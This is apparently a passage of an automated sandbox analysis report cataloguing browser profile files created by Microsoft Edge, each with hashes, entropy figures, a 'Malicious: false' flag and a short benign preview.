Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.33890226319329847
Encrypted:	false
SSDEEP:	12:TLMfly7aoxrRGcAkSQdC6ae1//fxEjkE/RFL2iFV1eHFxOUwa5qgufTsZ75fOSI:TLYcjr0+Pdajk+FZH1W6UwccI5fBI
MD5:	971F4C153D386AC7ED39363C31E854FC
SHA1:	339841CA0088C9EABDE4AACC8567D2289CCB9544
SHA-256:	B6468DA6EC0EAE580B251692CFE24620D39412954421BBFDECB13EF21BE7BC88
SHA-512:	1A4DD0C2BE163AAB3B81D63DEB4A7DB6421612A6CF1A5685951F86B7D5A40B67FC6585B7E52AA0CC20FF47349F15DFF0C9038086E3A7C78AE0FFBEE6D8AA7F7E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.229272740530923
Encrypted:	false
SSDEEP:	6:ud81aAEq1wkn23oH+TcwtRage8Y55HEZzXELIx2KLlcd8159+q2Pwkn23oH+Tcw3:11w1fYebRrcHEZrEkVLt1avYfYebRrcU
MD5:	0CB70F9615B4DFCB92732E1BE1258AC7
SHA1:	A69B5639BDD39B61AC77E451DD1058172A6EA2A5
SHA-256:	FAB95B89B6BF2EE19696BC2F788BDE19C0C58D96D776B58EDA2FD63B5853C9DC
SHA-512:	36248CFB9EFF5C82317340A4421821E07D63EB8A6D9B2160B05784920E1D123FC98DE2484E99B35AAC152DC9EE5EA3388B0F743A25CABBB977F4F05E303115D4
Malicious:	false
Preview:	2024/08/31-20:48:16.047 1d88 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold since it was missing..2024/08/31-20:48:16.072 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.197287908125479
Encrypted:	false
SSDEEP:	6:ud8Z+RM1wkn23oH+TcwtRa2jM8B2KLlcd89p1yq2Pwkn23oH+TcwtRa2jMGIFUv:1ErfYebRjFLt9fyvYfYebREFUv
MD5:	5C32399872ACB3F6E8958BA251B60119
SHA1:	7891196F795603285164E3C331E6F850A266B6C0
SHA-256:	1DE20F5FA069722562768A154F875EB751AE164BEE40164F266CECE2E22A1D59
SHA-512:	60DECA92B49024217F760A062B56A3D3B9C175F1D4440B8D40325F73D643D9428355EFD99EC4E281E0B03DD1E543FAEDDD9D8FF181734000819CD2FB9FEE4CBA
Malicious:	false
Preview:	2024/08/31-20:48:13.674 a74 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb since it was missing..2024/08/31-20:48:14.002 a74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network Action Predictor

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 11, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.40293591932113104
Encrypted:	false
SSDEEP:	24:TLVgTjDk5Yk8k+/kCkzD3zzbLGfIzLihje90xq/WMFFfeFzfXVVlYWOT/CUFSe:Tmo9n+8dv/qALihje9kqL42WOT/9F
MD5:	ADC0CFB8A1A20DE2C4AB738B413CBEA4
SHA1:	238EF489E5FDC6EBB36F09D415FB353350E7097B
SHA-256:	7C071E36A64FB1881258712C9880F155D9CBAC693BADCC391A1CB110C257CC37
SHA-512:	38C8B7293B8F7BEF03299BAFB981EEEE309945B1BDE26ACDAD6FDD63247C21CA04D493A1DDAFC3B9A1904EFED998E9C7C0C8E98506FD4AC0AB252DFF34566B66
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......=......\.t.+.>...,...=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\23605f74-e9c9-4826-b949-0ed455ba44e3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	170
Entropy (8bit):	4.89042451592505
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDHERW6JfYoR6oJbRHeHBYMKWKWMS7PMVKJq0nMb1KKtiVY:YHpo03h6ubIa4MS7PMVKJTnMRK3VY
MD5:	633DDD1B4920EC5BE074DBE9C025C0CA
SHA1:	544DEC5ED8BD3FBAB234940BEA45390B5CEF13D1
SHA-256:	8FCAE56F81D49DE83AC45BB8848E818C99462EEE03D017124E895D39630B3889
SHA-512:	CB89ABA6C2D59A7D520BD1BBDB85CBDF5CFBBE3DC9DFD02E06071F8597E3EB0D3B3BE3587AE58870B92127379A2C875A856F11B6792D4A68C5204837814549A6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\5dfdc42b-5ab0-4219-995e-633bba0a07cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKqk1Yn:YHkVKJTnMRKXk1Yn
MD5:	78BFCECB05ED1904EDCE3B60CB5C7E62
SHA1:	BF77A7461DE9D41D12AA88FBA056BA758793D9CE
SHA-256:	C257F929CFF0E4380BF08D9F36F310753F7B1CCB5CB2AB811B52760DD8CB9572
SHA-512:	2420DFF6EB853F5E1856CDAB99561A896EA0743FCFF3E04B37CB87EDDF063770608A30C6FFB0319E5D353B0132C5F8135B7082488E425666B2C22B753A6A4D73
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Network Persistent State~RF348d2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKqk1Yn:YHkVKJTnMRKXk1Yn
MD5:	78BFCECB05ED1904EDCE3B60CB5C7E62
SHA1:	BF77A7461DE9D41D12AA88FBA056BA758793D9CE
SHA-256:	C257F929CFF0E4380BF08D9F36F310753F7B1CCB5CB2AB811B52760DD8CB9572
SHA-512:	2420DFF6EB853F5E1856CDAB99561A896EA0743FCFF3E04B37CB87EDDF063770608A30C6FFB0319E5D353B0132C5F8135B7082488E425666B2C22B753A6A4D73
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Network Persistent State~RF40636.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKqk1Yn:YHkVKJTnMRKXk1Yn
MD5:	78BFCECB05ED1904EDCE3B60CB5C7E62
SHA1:	BF77A7461DE9D41D12AA88FBA056BA758793D9CE
SHA-256:	C257F929CFF0E4380BF08D9F36F310753F7B1CCB5CB2AB811B52760DD8CB9572
SHA-512:	2420DFF6EB853F5E1856CDAB99561A896EA0743FCFF3E04B37CB87EDDF063770608A30C6FFB0319E5D353B0132C5F8135B7082488E425666B2C22B753A6A4D73
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Network Persistent State~RF5ba6e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKqk1Yn:YHkVKJTnMRKXk1Yn
MD5:	78BFCECB05ED1904EDCE3B60CB5C7E62
SHA1:	BF77A7461DE9D41D12AA88FBA056BA758793D9CE
SHA-256:	C257F929CFF0E4380BF08D9F36F310753F7B1CCB5CB2AB811B52760DD8CB9572
SHA-512:	2420DFF6EB853F5E1856CDAB99561A896EA0743FCFF3E04B37CB87EDDF063770608A30C6FFB0319E5D353B0132C5F8135B7082488E425666B2C22B753A6A4D73
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.7603311979408303
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBkaM:OIEumQv8m1ccnvS6KV
MD5:	16F8188FC22F5E9D430B5BBA0D9FA6E3
SHA1:	985ED80AFD4D498D4995B2F9BA81ABD8EA50A4DE
SHA-256:	BDC67071777FA5038C8629B2557DF7C039FEB5F55E8DE1E9F16255C7B84D79F5
SHA-512:	DA9FAA291FB95282FA68A2A09074FE2E61B8FAF380CCB6B22D2A42FF2952A84DBB84183A5C1718C6F5F1253506F41E304AD977EAC7ED4EED972B282A5DE2A153
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\SCT Auditing Pending Reports~RF2d4ea.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\cabce6c5-57dc-496c-8a32-e29907aa5119.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKqk1Yn:YHkVKJTnMRKXk1Yn
MD5:	78BFCECB05ED1904EDCE3B60CB5C7E62
SHA1:	BF77A7461DE9D41D12AA88FBA056BA758793D9CE
SHA-256:	C257F929CFF0E4380BF08D9F36F310753F7B1CCB5CB2AB811B52760DD8CB9572
SHA-512:	2420DFF6EB853F5E1856CDAB99561A896EA0743FCFF3E04B37CB87EDDF063770608A30C6FFB0319E5D353B0132C5F8135B7082488E425666B2C22B753A6A4D73
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\e5d88557-e1cd-4d9d-ba7b-d4fbfd7410aa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\f338dd11-e0c0-40d7-a8d7-14a56183acc9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKtiVY:YHkVKJTnMRK3VY
MD5:	2800881C775077E1C4B6E06BF4676DE4
SHA1:	2873631068C8B3B9495638C865915BE822442C8B
SHA-256:	226EEC4486509917AA336AFEBD6FF65777B75B65F1FB06891D2A857A9421A974
SHA-512:	E342407AB65CC68F1B3FD706CD0A37680A0864FFD30A6539730180EDE2CDCD732CC97AE0B9EF7DB12DA5C0F83E429DF0840DBF7596ACA859A0301665E517377B
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\f3c02c3c-15b7-4e84-98c1-4e88ada89eb8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Network\f7bd3c61-915b-4ceb-a699-cc066615cc5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
